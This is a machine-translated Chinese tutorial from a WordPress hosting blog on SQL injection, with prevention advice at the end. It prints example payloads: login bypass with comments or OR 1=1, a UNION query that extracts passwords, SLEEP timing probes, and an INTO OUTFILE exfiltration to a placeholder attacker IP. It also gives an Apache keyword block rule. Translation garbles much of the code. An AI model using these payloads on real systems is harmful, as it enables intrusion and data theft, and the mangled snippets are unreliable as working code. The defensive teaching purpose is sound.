SQL注入:適用於WordPress用戶的入門指南

SQL(結構化查詢語言)是一種允許我們與資料庫進行交互的語言。現代的Web應用程序使用資料庫來管理數據並向讀者顯示動態內容。

SQL注入或SQLi通過對Web應用程序的惡意SQL語句破壞其資料庫,從而對其進行攻擊。

由於這是一種常見的攻擊,因此讓我們嘗試更多地了解它是什麼,如何發生以及如何防禦自己。

只需移至Kinsta,即可將WordPress網站的速度提高200%。
        
          今天免費遷移

準備?讓我們潛入吧!

什麼是SQL注入?

SQL注入(SQLi)是對Web應用程序的一種攻擊,攻擊者可使攻擊者將惡意SQL語句插入Web應用程序,從而有可能獲得對資料庫中敏感數據的訪問許可權或破壞該數據.SQL注入首先由Jeff發現1998年成為Forristal。

自發現以來的二十年來,SQL注入一直是Web開發人員在設計應用程序時的頭等大事。

巴克萊卡德(Barclaycard)估計,在2012年,有97%的數據泄露是由SQL注入攻擊引發的。即使在今天,SQL注入仍然很普遍,並且Web應用程序中注入攻擊的嚴重性已得到廣泛認可。它是OWASP十大最關鍵的Web應用程序安全風險之一。

SQL注入漏洞如何工作?

SQL注入漏洞使攻擊者可以通過使用惡意SQL語句來完全訪問應用程序的資料庫。

在本節中,我們分享一個易受攻擊的應用程序外觀的示例。

想像一個典型的Web應用程序的工作流程,該流程涉及通過用戶輸入的資料庫請求。您通過表單(例如登錄表單)獲取用戶輸入。然後,使用用戶提交的欄位來查詢資料庫以對它們進行身份驗證。查詢資料庫的結構如下:

從user_table選擇*
其中username =’sdaityari’
和密碼=’mypassword’;

為簡單起見,假設您將密碼存儲為明文形式。但是,最好對密碼加鹽,然後對它們進行哈希處理。繼續,如果您已經從表單接收到用戶名和密碼,則可以在PHP中定義查詢,如下所示:

//連接到SQL資料庫
$ db_query =「從user_table中選擇*其中
用戶名=’「。$ user。」’
AND password =’「。$ password。」’;「;
//執行查詢

如果有人在用戶名欄位中輸入值「 admin」; –,則變數$ db_query生成的結果SQL查詢將如下所示:

從user_table中選擇*,其中
用戶名=’admin’;-‘和密碼=’mypassword’

該查詢的作用是什麼?

SQL中的注釋以雙破折號(–)開頭。結果查詢僅按用戶名過濾,而不考慮密碼。如果沒有安全措施可以避免這種情況,只需使用此技巧就可以授予您對Web應用程序的管理訪問許可權。

或者,在此示例中也可以使用布爾攻擊來獲取訪問許可權。如果攻擊者在密碼欄位中輸入「 password」或1 = 1; –,則結果查詢如下:

從user_table中選擇*,其中
用戶名=’admin’和
密碼=’密碼’或1 = 1;-‘;

在這種情況下,即使您的密碼錯誤,您也將通過應用程序身份驗證。如果您的網頁顯示了資料庫查詢的結果,則攻擊者可以使用show表命令,命令來顯示資料庫中的表,然後根據需要有選擇地刪除表。

媽媽的漏洞:有關SQL注入的漫畫

關於SQL注入的卡通漫畫(圖片來源:XKCD)

XKCD最受歡迎的連環漫畫《媽媽的漏洞利用》展示了一位母親與兒子所在學校的對話,詢問她是否真的將兒子命名為「羅伯特」);下降表學生; –」。

SQL注入的類型

現在您已經了解了SQL注入漏洞的基本知識,讓我們探究各種類型的SQL注入攻擊及其背後的原因。

帶內SQL注入

帶內SQL注入是SQL注入的最簡單形式。在此過程中,攻擊者可以使用同一渠道將惡意SQL代碼插入應用程序中並收集結果。我們將討論兩種形式的帶內SQL注入攻擊:

基於錯誤的攻擊

攻擊者在攻擊的初始階段使用基於錯誤的SQL注入技術。基於錯誤的SQL注入的思想是獲取有關Web應用程序遵循的資料庫結構和表名的更多信息。例如,錯誤消息可能包含查詢中包含的表名和表的列名。然後,可以使用此數據來創建新的攻擊。

基於聯盟的攻擊

在這種方法中,攻擊者使用SQL聯合聯接顯示來自其他表的結果。例如,如果攻擊者在搜索頁面上,他們可能會在另一個表中附加結果。

選擇標題,鏈接來自post_table
編號<10 聯盟 選擇用戶名,密碼 來自user_table; -;

推理SQL注入(盲SQL注入)

即使攻擊者在SQL查詢中生成錯誤,查詢的響應也可能不會直接傳輸到網頁。在這種情況下,攻擊者需要進一步探測。

通過這種SQL注入形式,攻擊者將各種查詢發送到資料庫,以評估應用程序如何分析這些響應。推論SQL注入有時也稱為盲SQL注入。我們將在下面介紹兩種推理SQL注入:布爾SQL注入和基於時間的SQL注入。

布爾攻擊

如果SQL查詢導致錯誤,但該錯誤尚未在應用程序內部進行處理,則生成的網頁可能會引發錯誤,載入空白頁或部分載入。在布爾型SQL注入中,攻擊者通過嘗試通過輸入嘗試兩種不同版本的布爾子句來評估用戶輸入的哪些部分容易受到SQL注入的攻擊:

  • 「…和1 = 1」
  • 「…和1 = 2」

如果應用程序在第一種情況下正常工作,但在第二種情況下顯示異常,則表明該應用程序容易受到SQL注入攻擊。

基於時間的攻擊

基於時間的SQL注入攻擊還可以幫助攻擊者確定Web應用程序中是否存在漏洞。攻擊者利用了應用程序使用的資料庫管理系統的預定義基於時間的功能。例如,在MySQL中,函數sleep()指示資料庫等待一定秒數。

從評論中選擇*
在哪裡post_id = 1-SLEEP(15);

如果這樣的查詢導致延遲,則攻擊者將知道它是易受攻擊的。

帶外SQL注入

如果攻擊者無法通過同一渠道收集SQL注入的結果。帶外SQL注入技術可以用作推理SQL注入技術的替代方法。

通常,這些技術涉及將數據從資料庫發送到攻擊者選擇的惡意位置。此過程也高度依賴於資料庫管理系統的功能。

帶外SQL注入攻擊使用DBMS的外部文件處理功能。在MySQL中,LOAD_FILE()和INTO OUTFILE函數可用於請求MySQL將數據傳輸到外部源。攻擊者可以使用以下方法使用OUTFILE將查詢結果發送到外部源:

從post_table選擇*
進入OUTFILE’\\ MALICIOUS_IP_ADDRESS location’

類似地,LOAD_FILE()函數可用於從伺服器讀取文件並顯示其內容。 LOAD_FILE()和OUTFILE的組合可用於讀取伺服器上文件的內容,然後將其傳輸到其他位置。

如何防止SQL注入

到目前為止,我們已經研究了Web應用程序中的漏洞,這些漏洞可能導致SQL注入攻擊。攻擊者可以使用SQL注入漏洞來讀取,修改甚至刪除資料庫的內容。

另外,它還可以使人們能夠讀取伺服器內任何位置的文件並將內容傳輸到其他地方。在本節中,我們探索各種技術來保護您的Web應用程序和網站免受SQL注入攻擊。

轉義用戶輸入

一般而言,確定用戶字元串是否惡意是一項艱巨的任務。因此,解決此問題的最佳方法是在用戶輸入中轉義特殊字元。

此過程使您免受SQL注入攻擊。您可以使用mysql_escape_string()函數在使用PHP構建查詢之前對字元串進行轉義。您也可以使用mysqli_real_escape_string()函數在MySQL中轉義字元串。

在將輸出顯示為HTML時,您還需要轉換字元串以確保特殊字元不會干擾HTML標記。您可以使用htmlspecialchars()函數在PHP中轉換特殊字元。

使用準備好的語句

或者,您可以使用準備好的語句來避免SQL注入。準備好的語句是SQL查詢的模板,您可以在後面的步驟中指定參數以執行該語句。這是PHP和MySQLi中準備好的語句的示例。

$ query = $ mysql_connection-> prepare(「從user_table中選擇*,其中username =?和password =?」);
$ query-> execute(array($ username,$ password));

其他衛生檢查以防止SQL攻擊

減輕此漏洞的下一步是將對資料庫的訪問限制為僅必要的訪問。

例如,使用特定用戶將Web應用程序連接到DBMS,該用戶只能訪問相關資料庫。

限制資料庫用戶對伺服器所有其他位置的訪問。您可能還希望通過Web伺服器阻止URL中的某些SQL關鍵字。如果您將Apache用作Web伺服器,則可以在.htaccess文件中使用以下代碼行向潛在的攻擊者顯示403禁止錯誤。

在使用此技術之前,您應該小心,因為如果URL包含這些關鍵字,Apache將向讀者顯示錯誤。

RewriteCond%{QUERY_STRING} [^a-z](聲明字符集鑄造,轉換,刪除,執行,插入元腳本,選擇,截斷,更新)[^a-z] [NC]

RewriteRule(。*)- [F]

信息

Kinsta在Nginx Web伺服器上運行WordPress,該伺服器不支持.htaccess文件。如果您想設置一條規則來阻止URL上的關鍵字,請聯繫Kinsta支持團隊,他們將為您提供幫助。

作為其他預防技巧,您應該始終使用更新的軟體。發行新版本或補丁程序時,發行說明中將詳細介紹更新中修復的錯誤。一旦漏洞的詳細信息公開,運行任何軟體的舊版本都會有風險。

WordPress中的SQL注入

如果您使用的是最新的WordPress核心文件,則可以避免任何SQL注入漏洞。但是,當您使用第三方主題和插件時,整個應用程序就有風險。

您的WordPress網站只有其最弱的鏈接才具有強大的功能。在本節中,我們將探討緩解WordPress中的SQL注入漏洞的關鍵注意事項以及如何在現有WordPress網站上執行漏洞檢查。

WordPress的SQL注入漏洞預防

為了減輕WordPress主題或插件中SQL Injection的漏洞,必須遵循的一條規則是在與資料庫進行交互時始終使用現有的WordPress函數。

這些功能在WordPress開發過程中已針對SQL注入漏洞進行了全面測試。例如,如果您想在帖子中添加評論,請使用wp_insert_comment()函數,而不是將數據直接插入到wp_comments表中。

雖然功能是可擴展的,但有時可能需要運行複雜的查詢。在這種情況下,請確保使用$ wp_db函數組。在創建查詢之前,可以使用$ wpdb-> prepare()來轉義用戶輸入。

此外,這是清理WordPress中數據的功能列表。這些可幫助您轉義特定類型的用戶輸入,例如電子郵件和URL。

保護您的WordPress網站

儘管WordPress本身是安全的,但諸如過時的核心軟體和無效的插件之類的問題都可能導致漏洞。儘管沒有其他選擇可以徹底檢查WordPress網站中的SQL注入漏洞,但網站的複雜性可能使此任務變得艱巨。

您可以使用在線掃描工具,例如ThreatPass和WPScan漏洞資料庫。您可以審核您的插件以查看其開發是否停止。如果將它們丟棄了一段時間,那麼在您的網站上使用它們可能不是一個好主意。

如果仍然需要絕對使用它們,請確保徹底測試其代碼和功能的漏洞。除此之外,請確保您遵循以下衛生檢查:

  • 更新PHP,WordPress核心和MySQL
  • 更新第三方插件和主題
  • 避免使用root用戶連接SQL資料庫
  • 將SQL用戶的訪問許可權限制為敏感目錄
  • 使用伺服器阻止SQL關鍵字
  • 如果發生不可逆轉的損壞,請保留站點外的備份

這是有關WordPress安全性的詳細文章以及詳盡的檢查清單。此外,您不妨投資這些適用於WordPress的頂級安全插件。如果盡最大努力,如果您的WordPress網站遭到黑客入侵,這是您應該採取的措施。

信息

Kinsta在所有計劃中為其所有客戶提供黑客修復保證。

SQL注入非法嗎?

絕對可以!即使存在實際漏洞,攻擊者仍試圖獲取對他們本來無法獲得的數據的訪問。

想像一下有人將鑰匙丟在車裡的情況。僅僅因為它被打開並無人看管而駛入它是否構成犯罪? SQLi的行為在不同國家/地區受不同法律的約束。它屬於美國的《計算機欺詐和濫用法》(1986年)和英國的《計算機濫用法》(1990年)。

97%的數據違規始於SQL注入。如果您正在運行一個站點,則應該知道什麼是SQL注入以及如何防止它們發生。幸運的是,這裡有指南! ??

點擊鳴叫

摘要

SQL注入漏洞是很久以前發現的。但是,2018年關於被黑客攻擊網站的報告表明,SQLi是XSS攻擊後最常見的WordPress網站黑客攻擊。為了防止它們發生,您應該:

  • 了解SQL Injection漏洞的工作方式
  • 探索攻擊者可能使用多種方式使用SQLi來未經授權訪問您的Web應用程序
  • 實施保護您的網站免受SQLi攻擊的方法,例如轉義用戶輸入和使用準備好的語句
  • 遵循安全檢查常式

俗話說:「安全要多,對不起!」

0分享

相關文章